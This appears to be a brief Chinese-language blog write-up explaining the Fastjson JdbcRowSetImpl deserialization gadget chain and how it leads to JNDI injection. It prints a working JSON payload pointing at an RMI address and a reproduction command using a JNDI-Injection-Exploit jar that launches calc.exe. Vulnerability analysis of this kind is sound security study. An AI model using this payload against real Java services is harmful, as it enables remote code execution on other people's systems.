直接看payload:
{“@type”:“com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:“rmi://127.0.0.1:1099/badClassName”, “autoCommit”:true}
我们知道在调用JSON.parse时会自动调用@type这个键值中类的setter和getter方法, 去看这个类的setDataSourceName方法, 发现了setDataSourceName中可以设置datasource.
看到这还不是很清楚datasource是干什么的,接着往下找autoCommit相关的getter, 找到了setAutoCommit
发现这个函数调用了connect方法, 跟进看一下发现调用了lookup方法:
其中参数this.getDataSourceName()返回的就是dataSource. 这就大概清楚了.实际利用就是jndi注入的思路了.
另外: com.sun.rowset.JdbcRowSetImpl这个类, 是JDK自带的一个原生类, 所以这条链是不需要考虑别的限制的,只需要考虑jndi注入的限制了.
复现:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “calc.exe” -A “127.0.0.1”